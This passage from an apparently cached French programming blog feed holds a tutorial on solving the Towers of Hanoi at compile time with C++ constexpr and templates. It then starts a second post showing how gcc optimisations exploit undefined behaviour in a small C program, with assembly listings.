
    static inline tower other(tower t1, tower t2) {
        return 3 - t1 - t2;
    }

};

int main() {
    Hanoi{ 0, 0, 0, 0, 0 }.solve(2);
    return 0;
}

(sourcecommit – tag runtime)

À compiler avec :

g++ -std=c++11 hanoi.cpp -o hanoi

L’algorithme utilise un simple vecteur de positions des disques, indexés du plus grand au plus petit, pour stocker l’état courant.

Par exemple, l’état { 0, 0, 0, 0 } représente 4 disques sur la tour 0 :

state = { 0, 0, 0, 0 };

    0         1         2

    |         |         |
   -+-        |         |
  --+--       |         |
 ---+---      |         |
----+----     |         |

L’état { 1, 1, 0, 2 }, quant-à lui, représente ces positions:

state = { 1, 1, 2, 1 };

    0         1         2

    |         |         |
    |         |         |
    |        -+-        |
    |      ---+---      |
    |     ----+----   --+--

Dans cette version, pour déplacer le disque i, il suffit alors de changer la valeur de state[i].

Il serait possible d’utiliser une structure de données différente, comme un vecteur par tour stockant les numéros des disques présents, mais celle que j’ai choisie sera beaucoup plus adaptée pour la suite.

Étant données 2 tours T1 et T2, il est très facile d’en déduire la 3e : 3 - T1 - T2. Ce calcul est extrait dans la fonction inlinée other(…).

Le contexte étant présenté, essayons maintenant d’implémenter le même algorithme pour le faire exécuter par le compilateur.

Structure de données constante

std::vector est une structure de données utilisable uniquement à l’exécution : il n’est pas possible d’en créer ou d’en utiliser une instance lors de la compilation. Même l’utilisation d’un simple tableau d’entiers nous poserait des problèmes par la suite.

Nous allons donc grandement simplifier le stockage des positions des disques, en utilisant un seul entier. En effet, à chaque disque est associée une tour qui peut être 0, 1 ou 2. Par conséquent, un chiffre en base 3 (un trit) suffit pour stocker la position d’une tour.

Ainsi, nous pouvons représenter l’état { 1, 2, 1, 0, 2 } par l’entier 146 (1×81 + 2×27 + 1×9 + 0×3 + 2×1) :

34 33 32 31 30
1 2 1 0 2

Au passage, voici comment convertir rapidement un nombre dans une autre base en shell (pratique pour débugger) :

$ echo 'ibase=3; 12102' | bc
146
$ echo 'obase=3; 146' | bc
12102

Nous allons utiliser le type entier le plus long, à savoir unsigned long long, stockant au minimum 64 bits, soit 64 digits en base 2. En base 3, cela représente 64 × ln(2)/ln(3) ≃ 40 digits : nous pouvons donc stocker la position de 40 disques dans un seul entier.

Pour cela, définissons un type state :

using state = unsigned long long;

Expressions constantes généralisées

Nous allons écrire une première ébauche n’utilisant que des expressions constantes, clairement indiquées et vérifiées depuis C++11 grâce au mot-clé constexpr. Une fonction constexpr doit, en gros, n’être composé que d’une instruction return.

C’est le cas à l’évidence pour notre fonction other(…) :

constexpr tower other(tower t1, tower t2) {
    return 3 - t1 - t2;
}

Grâce à l’opérateur ternaire et à la récursivité, nous pouvons cependant en écrire de plus complexes.

Dans notre programme classique, le déplacement d’un disque i se résumait à changer la valeur de state[i]. Maintenant que l’état du système est compacté dans un seul entier, l’opération est moins directe.

Soit l’état courant { 0, 1, 2, 0, 0 } (ou plus simplement 01200). Supposons que nous souhaitions déplacer le disque au sommet de la tour 2 vers la tour 1. Cela consiste, en fait, à remplacer le dernier 2 par un 1 (rappelez-vous, les disques sont indexés du plus grand au plus petit). Le résultat attendu est donc 01100.

Notez que ce déplacement n’est pas toujours autorisé. Par exemple, le disque au sommet de la tour 2 est plus grand (i.e. a un plus petit index) que celui au sommet de la tour 0, il n’est donc pas possible de le déplacer vers la tour 0. C’est à l’algorithme que revient la responsabilité de n’effectuer que des déplacements légaux.

Remplacer le dernier digit x de la représentation d’un nombre N (dans une base quelconque) par y peut s’implémenter récursivement :

Concrètement :

      N   N\d d    { x=2, y=1 }
  01200  0120 0    // d != x : remplacer x par y dans N\d
   0120   012 0    //   d != x : remplacer x par y dans N\d
    012    01 2    //     d == x : remplacer x par y
    011    01 1    //     d = y
   0110   011 0    //   recoller d au résultat
  01100  0110 0    // recoller d au résultat

Il reste à expliciter l’étape du remplacement du digit. De manière générale, remplacer par un chiffre d le dernier digit d’un nombre N exprimé dans une base b consiste à calculer, soit N / b * b + d, soit de manière équivalente N - N % b + d (/ représentant la division entière et % le modulo). Dans les deux cas, l’opération annule le dernier digit puis ajoute son remplaçant.

base10

Sur un exemple en base 10, c’est évident. Remplaçons le dernier chiffre de 125 par 7 selon les deux méthodes :

     N /  b *  b + v         N -   N %  b + d
   125 / 10 * 10 + 7       125 - 125 % 10 + 7
         12 * 10 + 7       125 -        5 + 7
             120 + 7                  120 + 7
                 127                      127

Arbitrairement, nous utiliserons la première méthode pour implémenter notre fonction constexpr move(…) :

constexpr state move(state s, tower src, tower target) {
    return s % 3 == src
        ? s / 3 * 3 + target
        : move(s / 3, src, target) * 3 + s % 3;
}

De la même manière, définissons une fonction getTower(s, i) qui retourne la tour sur laquelle se trouve le _i_ème plus petit disque :

constexpr tower getTower(state s, size disk) {
    return disk == 1
        ? s % 3
        : getTower(s / 3, disk - 1);
}

Attaquons-nous maintenant à la conversion de la fonction solveRec(…). Elle contenait deux branchements (if) et plusieurs instructions séquentielles, que nous allons devoir transformer en une seule instruction return.

Pour cela, nous allons remplacer les branchements par des opérateurs ternaires :

if (C) {
    X = A;
} else {
    X = B;
}

devient :

X = C ? A : B;

Notez que contrairement à la version if/else, cela implique que les expressions retournent une valeur. Cela tombe bien, comme une fonction constexpr ne peut pas modifier une variable, notre fonction va retourner l’état résultant de la transformation.

Concernant les instructions séquentielles, remarquons qu’elles dépendent successivement les unes des autres. De manière générale, nous pouvons remplacer :

A = f();
B = g(A);
X = h(B);

par:

X = h(g(f()));

En combinant ces principes, la méthode solve(…) peut être écrite ainsi (afin de bien voir l’imbrication des appels, je ne la découpe volontairement pas en plusieurs méthodes) :

constexpr state solve(size disks, state s, tower target) {
    return disks == 0
        ? s
        : getTower(s, disks) == target
            ? solve(disks - 1, s, target)
            : solve(disks - 1,
                    move(solve(disks - 1,
                               s,
                               other(getTower(s, disks), target)),
                         getTower(s, disks),
                         target),
                    target);
}

Les appels les plus profonds sont effectués en premier.

Ajoutons une méthode d’affichage pour obtenir la représentation de l’état du système en base 3 :

std::ostream &print_state(std::ostream &os, size ndisks, state s) {
    return ndisks ? print_state(os, ndisks - 1, s / 3) << s % 3 : os;
}

(sourcecommit – tag constexpr)

Compilons et exécutons le programme :

$ g++ -std=c++11 metahanoi.cpp && ./metahanoi
22222

L’état 22222 (soit l’entier 242) est bien écrit en dur dans le binaire généré :

$ g++ -std=c++11 -S metahanoi.cpp && grep 242 metahanoi.s
    movq    $242, -16(%rbp)
    movl    $242, %edx

Le compilateur est donc bien parvenu à la solution.

Mais avouons que le résultat est un peu décevant : l’état final, nous le connaissions déjà ; ce qui nous intéresse, c’est le cheminement pour y parvenir. Nous souhaiterions donc qu’en plus, le compilateur nous indique, d’une manière ou d’une autre, les étapes intermédiaires décrivant la solution du problème.

Templates

Pour cela, nous allons utiliser les templates.

Pour comprendre comment les templates vont nous aider, commençons par quelques précisions.

Les classes template sont souvent utilisées avec des paramètres types. Par exemple, std::vector<int> définit un nouveau type paramétré par le type int. Mais il est également possible de passer des paramètres non-types, qui sont alors des valeurs “simples”.

Une classe template ne définit pas un type, mais permet de générer des types selon les paramètres qui lui sont affectés. Concrètement, std::vector<int> et std::vector<double> sont des types totalement différents, comme s’ils étaient implémentés par deux classes écrites séparément.

Dit autrement, la classe est au template ce que l’objet est à la classe : une instance. Mais c’est une instance qui existe lors de la phase de compilation !

     +----------------+
     | CLASS TEMPLATE |
     +----------------+
          | template
          | instantiation
          v                     COMPILE TIME
     +----------------+
     |  CLASS / TYPE  |    -----------------------
     +----------------+
          | class                 RUNTIME
          | instantiation
          v
     +----------------+
     |     OBJECT     |
     +----------------+

De la même manière qu’une variable d’instance existe pour chaque objet (instance de classe), une variable static existe pour chaque classe (instance de template).

Pour conserver les états successifs de la résolution du problème des tours de Hanoï, nous allons donc créer une classe par étape, dans laquelle nous allons pouvoir y stocker un état static. Nous voulons donc remplacer notre fonction solve(…) par des classes template.

Pour illustrer comment, commençons par un template simple effectuant la somme de deux entiers :

template <int I, int J>
struct Sum {
    static constexpr int result = I + J;
};

Ainsi, l’expression :

Sum<3, 4>::result

est calculée à la compilation et vaut 7.

Prenons maintenant l’exemple d’un calcul récursif : la factorielle d’un entier. Il nous faut implémenter à la fois le cas général et la condition d’arrêt. Nous pourrions penser à utiliser l’opérateur ternaire ainsi :

template <int N>
struct Fact {
    // does not work!
    static constexpr int result = N == 0 ? 1 : N * Fact<N - 1>::result;
};

Malheureusement, ceci ne peut pas fonctionner, car pour calculer la valeur d’une expression, le compilateur doit d’abord calculer le type de chacun des opérandes. Par conséquent, Fact<N - 1> sera généré même si N == 0. La récursivité ne s’arrête donc jamais, provoquant une erreur à la compilation :

error: template instantiation depth exceeds maximum of 900

Comment faire alors ? La clé réside dans la spécialisation de templates, qui permet de sélectionner l’implémentation de la classe en fonction des paramètres :

template <int N>
struct Fact {
    static constexpr int result = N * Fact<N-1>::result;
};

template <>
struct Fact<0> {
    static constexpr int result = 1;
};

Lorsque Fact est instancié avec le paramètre 0, la classe est générée à partir du template spécialisé, stoppant ainsi la récursivité.

Appliquons ce principe à notre algorithme des tours de Hanoï. Nous allons définir une classe template Solver avec 3 paramètres de template, les mêmes que notre fonction solve(…) :

template <size DISKS, state S, tower TARGET>
struct SolverRec { /* … */ };

Puis nous allons en définir une spécialisation pour le cas où DISKS vaut 0 :

template <state S, tower TARGET>
struct SolverRec<0, S, TARGET> { /* … */ };

Nous avons ainsi implémenté le premier branchement sur la condition DISKS == 0.

Un second branchement reste à réaliser : le calcul à effectuer est différent selon si le plus grand disque parmi les DISKS derniers est déjà sur la tour cible ou non. Celui-ci est plus compliqué, car les paramètres de template présents ne permettent pas d’évaluer sa condition.

Nous allons donc devoir ajouter en paramètre la position du disque SRC afin de pouvoir sélectionner la bonne implémentation en fonction de la condition SRC == TARGET. Sa valeur étant déterminée par celle des autres paramètres, l’ajout de SRC ne va pas entraîner la création de nouveaux types. Par contre, il multiplie les cas à implémenter :

// cas général
template <size DISKS, state S, tower SRC, tower TARGET>
struct SolverRec { /* … */ };

// quand SRC == TARGET (le disque est déjà bien placé)
template <size DISKS, state S, tower TOWER>
struct SolverRec<DISKS, S, TOWER, TOWER> { /* … */ };

// quand il ne reste plus qu'un seul disque, mal placé
template <state S, tower SRC, tower TARGET>
struct SolverRec<1, S, SRC, TARGET> { /* … */ };

// quand il ne reste plus qu'un seul disque, déjà bien placé
template <state S, tower TOWER>
struct SolverRec<1, S, TOWER, TOWER> { /* … */ };

Les plus observateurs auront remarqué que désormais, la récursivité s’arrête à 1 disque, et non plus 0 comme précédemment. En effet, maintenant que le paramètre SRC est ajouté, il va falloir le calculer (grâce à getTower(…)) avant d’utiliser le type. Or, cela n’a pas de sens de récupérer la position d’un disque lorsque nous n’avons pas de disques. D’ailleurs, l’exécution de getTower(…) avec disk == 0 provoquerait une erreur… de compilation (vu que l’exécution se déroule à la compilation).

Nous avons maintenant 4 versions de la classe template SolverRec à écrire. Chacune devra contenir l’état final résultant du déplacement de DISKS disques de la tour SRC vers la tour TARGET à partir de l’état S. Cet état sera stocké dans une constante final_state, présente dans chacune des spécialisations.

Voici mon implémentation :

template <size DISKS, state S, tower SRC, tower TARGET>
struct SolverRec {
    static constexpr tower nextSrc = getTower(S, DISKS - 1);
    static constexpr tower inter = other(SRC, TARGET);
    using rec1 = SolverRec<DISKS - 1, S, nextSrc, inter>;
    static constexpr state value = move(rec1::final_state, SRC, TARGET);
    using rec2 = SolverRec<DISKS - 1, value, inter, TARGET>;
    static constexpr state final_state = rec2::final_state;
};

template <size DISKS, state S, tower TOWER>
struct SolverRec<DISKS, S, TOWER, TOWER> {
    static constexpr tower nextSrc = getTower(S, DISKS - 1);
    using rec = SolverRec<DISKS - 1, S, nextSrc, TOWER>;
    static constexpr state final_state = rec::final_state;
};

template <state S, tower SRC, tower TARGET>
struct SolverRec<1, S, SRC, TARGET> {
    static constexpr state final_state = move(S, SRC, TARGET);
};

template <state S, tower TOWER>
struct SolverRec<1, S, TOWER, TOWER> {
    static constexpr state final_state = S;
};

Le type (déterminé par les arguments des templates) correspondant aux appels récursifs dépend des valeurs constexpr calculées dans la classe. C’est à l’appelant de calculer la tour source pour renseigner la valeur du paramètre SRC.

Par commodité, nous pouvons aussi ajouter une classe template Solver, qui calcule elle-même la tour SRC du plus grand disque lors du démarrage.

template <size DISKS, state S, tower TARGET>
struct Solver {
    static constexpr tower src = getTower(S, DISKS);
    using start = SolverRec<DISKS, S, src, TARGET>;
    static constexpr state final_state = start::final_state;
};

(sourcecommit – tag templates)

De cette manière, pour calculer l’état résultant du déplacement de 5 disques à l’état 00000 (l’entier 0) vers la tour 2, il suffit de lire la variable :

Solver<5, 0, 2>::final_state

Nous avons donc converti notre implementation d’une simple fonction constexpr en classes template. Fonctionnellement équivalente pour l’instant, cette nouvelle version met en place les fondations pour récupérer, à l’exécution, les étapes de la résolution du problème calculées à la compilation.

État initial

Mais avant cela, dotons-nous d’un outil pour décrire l’état initial facilement, qui pour l’instant doit être exprimé grâce à un state, c’est-à-dire un entier.

L’idée serait que l’état et le nombre de disques soit calculé automatiquement à la compilation à partir de la liste des positions des disques :

Disks<1, 2, 0, 1, 2>

Contrairement à précedemment, ici, nous avons besoin d’un nombre indéterminé de paramètres. Nous allons donc utiliser les variadic templates :

template <tower ...T>
struct Disks;

Remarquez que ce template est juste déclaré et non défini.

Pour parcourir les paramètres, nous avons besoin de deux spécialisations (une pour la récursion et une pour la condition d’arrêt) :

template <tower H, tower ...T>
struct Disks<H, T...> { /* … */ };

template <>
struct Disks<> { /* … */ };

Chacune des deux spécialisent le template déclaré, mais remarquez que l’une n’est pas une spécialisation de l’autre. C’est la raison pour laquelle nous avons besoin de déclarer un template (sans le définir) dont ces deux définitions sont une spécialisation.

Voici l’implémentation :

template <tower H, tower ...T>
struct Disks<H, T...> {
    static constexpr state count = 1 + sizeof...(T);
    static constexpr state pack(state tmp) {
        return Disks<T...>::pack(tmp * 3 + H);
    }
    static constexpr state packed = pack(0);
};

template <>
struct Disks<> {
    static constexpr state count = 0;
    static constexpr state pack(state tmp) { return tmp; };
    static constexpr state packed = 0;
};

Le nombre de disques est initialisé en comptant les paramètres grâce à l’opérateur sizeof....

L’état compacté est stocké dans la variable packed. Étant donné que les premiers paramètres traités seront les digits de poids fort, la multiplication devra être effectuée par les appels récursifs plus profonds. C’est la raison pour laquelle j’utilise une fonction temporaire qui permet d’initialiser packed.

Nous pouvons maintenant initialiser notre solver ainsi :

using disks = Disks<1, 2, 0, 1, 2>;
using solver = Solver<disks::count, disks::packed, 2>;

(sourcecommit – tag disks)

Affichage récursif

Attaquons-nous maintenant à l’affichage des états successifs.

Le plus simple consiste à implémenter une méthode print(…) dans chacune des classes SolverRec, affichant l’état associé et/ou appellant récursivement les méthodes print(…) sur les instances de SolverRec utilisées pour la résolution du problème.

Pour cela, nous devons auparavant déterminer, pour chaque template instancié, quel état afficher. Par exemple, pour les classes crées à partir de l’implémentation du template non spécialisé, il y a plusieurs états accessibles :

C’est en fait l’état value qu’il faut afficher :

Il est important de différencier, pour chaque SolverRec, l’état final, représentant l’état après l’application de tous les déplacements demandés, de l’état suivant le seul déplacement unitaire (s’il existe) associé à la classe. C’est ce dernier que nous voulons afficher.

Nous allons donc ajouter dans les 4 versions du template SolverRec une méthode :

static std::ostream &print(std::ostream &os, size ndisks);

Le paramètre std::ostream &os permet juste de préciser sur quel flux écrire (std::cout par exemple) ; il est retourné pour pouvoir le chaîner avec d’autres écritures (comme << std::endl).

Cette méthode a besoin de connaître le nombre total de disques, afin d’afficher le bon nombre de digits. Notez que cette valeur est différente du paramètre de template DISKS, qui correspond au nombre de disques à déplacer pour le niveau de récursivité courant.

template <size DISKS, state S, tower SRC, tower TARGET>
struct SolverRec {
    static constexpr tower nextSrc = getTower(S, DISKS - 1);
    static constexpr tower inter = other(SRC, TARGET);
    using rec1 = SolverRec<DISKS - 1, S, nextSrc, inter>;
    static constexpr state value = move(rec1::final_state, SRC, TARGET);
    using rec2 = SolverRec<DISKS - 1, value, inter, TARGET>;
    static constexpr state final_state = rec2::final_state;

    static std::ostream &print(std::ostream &os, size ndisks) {
        rec1::print(os, ndisks);
        print_state(os, ndisks, value) << std::endl;
        rec2::print(os, ndisks);
        return os;
    }
};

template <size DISKS, state S, tower TOWER>
struct SolverRec<DISKS, S, TOWER, TOWER> {
    static constexpr tower nextSrc = getTower(S, DISKS - 1);
    using rec = SolverRec<DISKS - 1, S, nextSrc, TOWER>;
    static constexpr state final_state = rec::final_state;

    static std::ostream &print(std::ostream &os, size ndisks) {
        rec::print(os, ndisks);
        return os;
    }
};

template <state S, tower SRC, tower TARGET>
struct SolverRec<1, S, SRC, TARGET> {
    static constexpr state value = move(S, SRC, TARGET);
    static constexpr state final_state = value;

    static std::ostream &print(std::ostream &os, size ndisks) {
        print_state(os, ndisks, value) << std::endl;
        return os;
    }
};

template <state S, tower TOWER>
struct SolverRec<1, S, TOWER, TOWER> {
    static constexpr state value = S;
    static constexpr state final_state = value;

    static std::ostream &print(std::ostream &os, size ndisks) {
        return os;
    }
};

Seules les versions du template pour lesquelles SRC != TARGET affichent un état. Les autres n’ont rien à afficher directement.

Ajoutons également, par commodité, une méthode similaire dans le template Solver (sans le paramètre ndisks, car ici il est toujours égal à DISKS) :

template <size DISKS, state S, tower TARGET>
struct Solver {
    static constexpr tower src = getTower(S, DISKS);
    using start = SolverRec<DISKS, S, src, TARGET>;
    static constexpr state final_state = start::final_state;

    static std::ostream &print(std::ostream &os) {
        print_state(std::cout, DISKS, S) << std::endl; // initial state
        return start::print(os, DISKS);
    }
};

(sourcecommit – tag print)

Cette nouvelle version affiche bien lors de l’exécution les états calculés lors de la compilation.

Cependant, les appels récursifs nécessaires à la résolution du problème ne sont pas supprimés : ils sont nécessaires à l’affichage des résultats. Il est dommage de résoudre le problème à la compilation si c’est pour que l’exécution repasse par chacune des étapes de la résolution pour l’affichage.

Liste chaînée

Pour éviter cela, nous allons générer à la compilation une liste chaînée des étapes qu’il ne restera plus qu’à parcourir à l’exécution. Chaque classe qui affichait un état va désormais stocker un nœud de la liste chainée, implémenté ainsi :

struct ResultNode {
    state value;
    ResultNode *next;
};

Le défi est maintenant d’initialiser les champs next de chacun des nœuds à l’adresse du nœud suivant dans l’ordre de résolution du problème des tours de Hanoï, et non dans l’ordre des appels récursifs, qui est différent. Par exemple, l’état (value) associé à une instance du template SolverRec non spécialisé (correspondant au cas général) devra succéder à tous les états générés par l’appel récursif rec1, pourtant appelé après.

Pour cela, chaque classe doit être capable d’indiquer à son appelant quel est le premier nœud qu’elle peut atteindre (first) et passer à chaque classe appelée le nœud qui devra suivre son nœud final (AFTER). Ces informations suffisent à déterminer dans tous les cas le nœud suivant d’une classe donnée, ce qui permet de constituer la liste chaînée complète en mémoire :

template <size DISKS, state S, tower SRC, tower TARGET, ResultNode *AFTER>
struct SolverRec {
    static ResultNode node;
    static constexpr tower nextSrc = getTower(S, DISKS - 1);
    static constexpr tower inter = other(SRC, TARGET);
    using rec1 = SolverRec<DISKS - 1, S, nextSrc, inter, &node>;
    static constexpr state value = move(rec1::final_state, SRC, TARGET);
    using rec2 = SolverRec<DISKS - 1, value, inter, TARGET, AFTER>;
    static constexpr state final_state = rec2::final_state;
    static constexpr ResultNode *first = rec1::first;
    static constexpr ResultNode *next = rec2::first;
};

template <size DISKS, state S, tower SRC, tower TARGET, ResultNode *AFTER>
ResultNode SolverRec<DISKS, S, SRC, TARGET, AFTER>::node = { value, next };

template <size DISKS, state S, tower TOWER, ResultNode *AFTER>
struct SolverRec<DISKS, S, TOWER, TOWER, AFTER> {
    static constexpr tower nextSrc = getTower(S, DISKS - 1);
    using rec = SolverRec<DISKS - 1, S, nextSrc, TOWER, AFTER>;
    static constexpr state final_state = rec::final_state;
    static constexpr ResultNode *first = rec::first;
};

template <state S, tower SRC, tower TARGET, ResultNode *AFTER>
struct SolverRec<1, S, SRC, TARGET, AFTER> {
    static ResultNode node;
    static constexpr state value = move(S, SRC, TARGET);
    static constexpr state final_state = value;
    static constexpr ResultNode *first = &node;
    static constexpr ResultNode *next = AFTER;
};

template <state S, tower SRC, tower TARGET, ResultNode *AFTER>
ResultNode SolverRec<1, S, SRC, TARGET, AFTER>::node = { value, next };

template <state S, tower TOWER, ResultNode *AFTER>
struct SolverRec<1, S, TOWER, TOWER, AFTER> {
    static constexpr state value = S;
    static constexpr state final_state = value;
    static constexpr ResultNode *first = AFTER;
};

template <size DISKS, state S, tower TARGET>
struct Solver {
    static ResultNode list;
    static constexpr tower src = getTower(S, DISKS);
    using start = SolverRec<DISKS, S, src, TARGET, nullptr>;
};

template <size DISKS, state S, tower TARGET>
ResultNode Solver<DISKS, S, TARGET>::list = { S, start::first };

La variable static node n’étant pas constexpr (elle doit être adressable à l’exécution pour former la liste chaînée), elle doit être initialisée en dehors de la classe.

Pour parcourir simplement la liste chaînée, rendons ResultNode itérable (j’implémente ici uniquement le strict minimum pour que l’iterator fonctionne) :

struct ResultNode {
    state value;
    ResultNode *next;

    class iterator {
        const ResultNode *current;
    public:
        iterator(const ResultNode *current) : current(current) {};
        iterator &operator++() { current = current->next; return *this; }
        state operator*() { return current->value; }
        bool operator==(const iterator &o) { return current == o.current; }
        bool operator!=(const iterator &o) { return !(*this == o); }
    };

    iterator begin() const { return iterator(this); }
    iterator end() const { return iterator(nullptr); }
};

La liste peut être parcourue ainsi :

using disks = Disks<0, 0, 0, 0, 0>;
using solver = Solver<disks::count, disks::packed, 2>; 
for (state s : solver::list) {
    print_state(std::cout, disks::count, s) << std::endl;
}

(sourcecommit – tag nodes)

En observant le binaire généré, la liste chaînée est directement visible (ici les octets sont en little endian) :

$ objdump -sj .data metahanoi

metahanoi:     file format elf64-x86-64

Contents of section .data:
 6012a0 00000000 00000000 00000000 00000000
 6012b0 00000000 00000000 00136000 00000000    n00: { 00000, &n05 }
 6012c0 ca000000 00000000 f0136000 00000000    n01: { 21111, &n20 }
 6012d0 35000000 00000000 70136000 00000000    n02: { 01222, &n12 }
 6012e0 16000000 00000000 30136000 00000000    n03: { 00211, &n08 }
 6012f0 05000000 00000000 10136000 00000000    n04: { 00012, &n06 }
 601300 02000000 00000000 f0126000 00000000    n05: { 00002, &n04 }
 601310 04000000 00000000 e0126000 00000000    n06: { 00011, &n03 }
 601320 18000000 00000000 40136000 00000000    n07: { 00220, &n09 }
 601330 15000000 00000000 20136000 00000000    n08: { 00210, &n07 }
 601340 1a000000 00000000 d0126000 00000000    n09: { 00222, &n02 }
 601350 24000000 00000000 a0136000 00000000    n10: { 01100, &n15 }
 601360 2e000000 00000000 80136000 00000000    n11: { 01201, &n13 }
 601370 34000000 00000000 60136000 00000000    n12: { 01221, &n11 }
 601380 2d000000 00000000 50136000 00000000    n13: { 01200, &n10 }
 601390 29000000 00000000 b0136000 00000000    n14: { 01112, &n16 }
 6013a0 26000000 00000000 90136000 00000000    n15: { 01102, &n14 }
 6013b0 28000000 00000000 c0126000 00000000    n16: { 01111, &n01 }
 6013c0 d8000000 00000000 60146000 00000000    n17: { 22000, &n27 }
 6013d0 c5000000 00000000 20146000 00000000    n18: { 21022, &n23 }
 6013e0 cc000000 00000000 00146000 00000000    n19: { 21120, &n21 }
 6013f0 c9000000 00000000 e0136000 00000000    n20: { 21110, &n19 }
 601400 ce000000 00000000 d0136000 00000000    n21: { 21122, &n18 }
 601410 be000000 00000000 30146000 00000000    n22: { 21001, &n24 }
 601420 c4000000 00000000 10146000 00000000    n23: { 21021, &n22 }
 601430 bd000000 00000000 c0136000 00000000    n24: { 21000, &n17 }
 601440 ee000000 00000000 90146000 00000000    n25: { 22211, &n30 }
 601450 dd000000 00000000 70146000 00000000    n26: { 22012, &n28 }
 601460 da000000 00000000 50146000 00000000    n27: { 22002, &n26 }
 601470 dc000000 00000000 40146000 00000000    n28: { 22011, &n25 }
 601480 f0000000 00000000 a0146000 00000000    n29: { 22220, &n31 }
 601490 ed000000 00000000 80146000 00000000    n30: { 22210, &n29 }
 6014a0 f2000000 00000000 00000000 00000000    n31: { 22222, nullptr }

La colonne de gauche correspond aux adresses des données. Les 4 colonnes suivantes contiennent des blocs de 4 octets, les deux premiers de chaque ligne représentant le champ value et les deux suivants le champ next de ResultNode, que j’ai réécrits de manière plus lisible à droite.

Possible ?

Cette représentation interpelle : pourquoi ne pas stocker plus simplement les différents états dans l’ordre, plutôt que d’utiliser des indirections pour former une liste chaînée ?

Malheureusement, je n’ai pas trouvé de solution pour stocker les états ordonnés dans un seul tableau d’entiers dès la compilation.

Si quelqu’un y parvient, ça m’intéresse !

";s:7:"dateiso";s:15:"20150327_195308";}s:15:"20141022_024159";a:7:{s:5:"title";s:38:"Comportement indéfini et optimisation";s:4:"link";s:68:"http://blog.rom1v.com/2014/10/comportement-indefini-et-optimisation/";s:4:"guid";s:29:"http://blog.rom1v.com/?p=4889";s:7:"pubDate";s:31:"Wed, 22 Oct 2014 00:41:59 +0000";s:11:"description";s:403:"Dans certains langages (typiquement C et C++), la sémantique de certaines opérations est indéfinie. Cela permet au compilateur de ne s’intéresser qu’aux cas qui sont définis (et donc de les optimiser) sans s’occuper des effets produits sur les cas indéfinis. C’est un concept très précieux pour améliorer sensiblement les performances. Mais cela peut avoir des […]";s:7:"content";s:28731:"

binary

Dans certains langages (typiquement C et C++), la sémantique de certaines opérations est indéfinie. Cela permet au compilateur de ne s’intéresser qu’aux cas qui sont définis (et donc de les optimiser) sans s’occuper des effets produits sur les cas indéfinis.

C’est un concept très précieux pour améliorer sensiblement les performances. Mais cela peut avoir des effets surprenants. Si le résultat de votre programme dépend d’un comportement indéfini (undefined behavior) particulier, alors votre programme complet n’a pas de sens, et le compilateur a le droit de faire ce qu’il veut. Et il ne s’en prive pas !

Programme indéfini

Par exemple, déréférencer un pointeur NULL est un comportement indéfini. En effet, contrairement à ce que beaucoup pensent, l’exécution du programme ne va pas forcément provoquer une erreur de segmentation.

J’ai écrit un petit programme tout simple (undefined.c) :

1
2
3
4
5
6
7
8
9
10
11
#include <stdio.h>
#include <malloc.h>

int main(int argc, char *argv[]) {
    int *i = argc == 1 ? NULL : malloc(sizeof(int));
    *i = 42;
    if (!i)
        return 1;
    printf("pwnd %d\n", *i);
    return 0;
}

Si argc vaut 1 (c’est-à-dire si nous appelons l’exécutable sans passer d’arguments de la ligne de commande), alors le pointeur i est NULL (ligne 5).

Cette ligne peut paraître étrange, mais elle permet de faire dépendre i d’une valeur connue uniquement à l’exécution (argc), ce qui évite au compilateur de savoir à l’avance que i est NULL.

La ligne 6 (*i = 42) est donc incorrecte : nous n’avons pas le droit de déréférencer un pointeur NULL. Nous nous attendons donc souvent à une erreur de segmentation.

Mais suite à ce que je viens de vous dire, admettons que ce ne soit pas le cas, et que nous arrivions quand même sur la ligne suivante (7). Ici, si i est NULL, la fonction se termine (en retournant 1, ligne 8).

Donc il n’y a donc aucun moyen d’afficher le contenu du printf ligne 9.

Et bien… en fait, si !

Exécution

Essayons (j’utilise gcc 4.7.2 packagé dans Debian Wheezy en amd64, les résultats peuvent différer avec un autre compilateur ou une autre version de gcc) :

$ gcc -Wall undefined.c
$ ./a.out          # argc == 1
Erreur de segmentation
$ ./a.out hello    # argc == 2
pwnd 42

Jusqu’ici, tout va bien. Maintenant, activons des optimisations de compilation :

$ gcc -Wall -O2 undefined.c
$ ./a.out
pwnd 42

Voilà, nous avons réussi à exécuter le printf alors que argc == 1.

Que s’est-il passé ?

Assembleur

Pour le comprendre, il faut regarder le code généré en assembleur, sans et avec optimisations.

Sans optimisation

Pour générer le résultat de la compilation sans assembler (et donc obtenir un fichier source assembleur undefined.s) :

gcc -S undefined.c

J’ai commenté les parties importantes :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
    .file   "undefined.c"
    .section    .rodata
.LC0:
    .string "pwnd %d\n"
    .text
    .globl  main
    .type   main, @function
main:
.LFB0:
    .cfi_startproc
    pushq   %rbp
    .cfi_def_cfa_offset 16
    .cfi_offset 6, -16
    movq    %rsp, %rbp
    .cfi_def_cfa_register 6
    subq    $32, %rsp
    movl    %edi, -20(%rbp)
    movq    %rsi, -32(%rbp)
    cmpl    $1, -20(%rbp)     ; if (argc == 1)
    je  .L2                   ;     goto .L2
    movl    $4, %edi          ; arg0 = 4  // sizeof(int)
    call    malloc            ; tmp = malloc(4)
    jmp .L3                   ; goto .L3
.L2:
    movl    $0, %eax
.L3:
    movq    %rax, -8(%rbp)    ; i = tmp
    movq    -8(%rbp), %rax
    movl    $42, (%rax)       ; *i = 42
    cmpq    $0, -8(%rbp)      ; if (!i)
    jne .L4                   ;    goto .L4
    movl    $1, %eax          ; ret = 1
    jmp .L5
.L4:
    movq    -8(%rbp), %rax
    movl    (%rax), %eax
    movl    %eax, %esi        ; arg1 = *i
    movl    $.LC0, %edi       ; arg0 points to "pwnd %d\n"
    movl    $0, %eax
    call    printf            ; printf("pwnd %d\n", *i)
    movl    $0, %eax          ; ret = 0
.L5:
    leave
    .cfi_def_cfa 7, 8
    ret                       ; return ret
    .cfi_endproc
.LFE0:
    .size   main, .-main
    .ident  "GCC: (Debian 4.7.2-5) 4.7.2"
    .section    .note.GNU-stack,"",@progbits

Le code généré est très fidèle au code source C.

Avec gcc -O

Maintenant, activons certaines optimisations :

gcc -O -S undefined.c

Ce qui donne :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
    .file   "undefined.c"
    .section    .rodata.str1.1,"aMS",@progbits,1
.LC0:
    .string "pwnd %d\n"
    .text
    .globl  main
    .type   main, @function
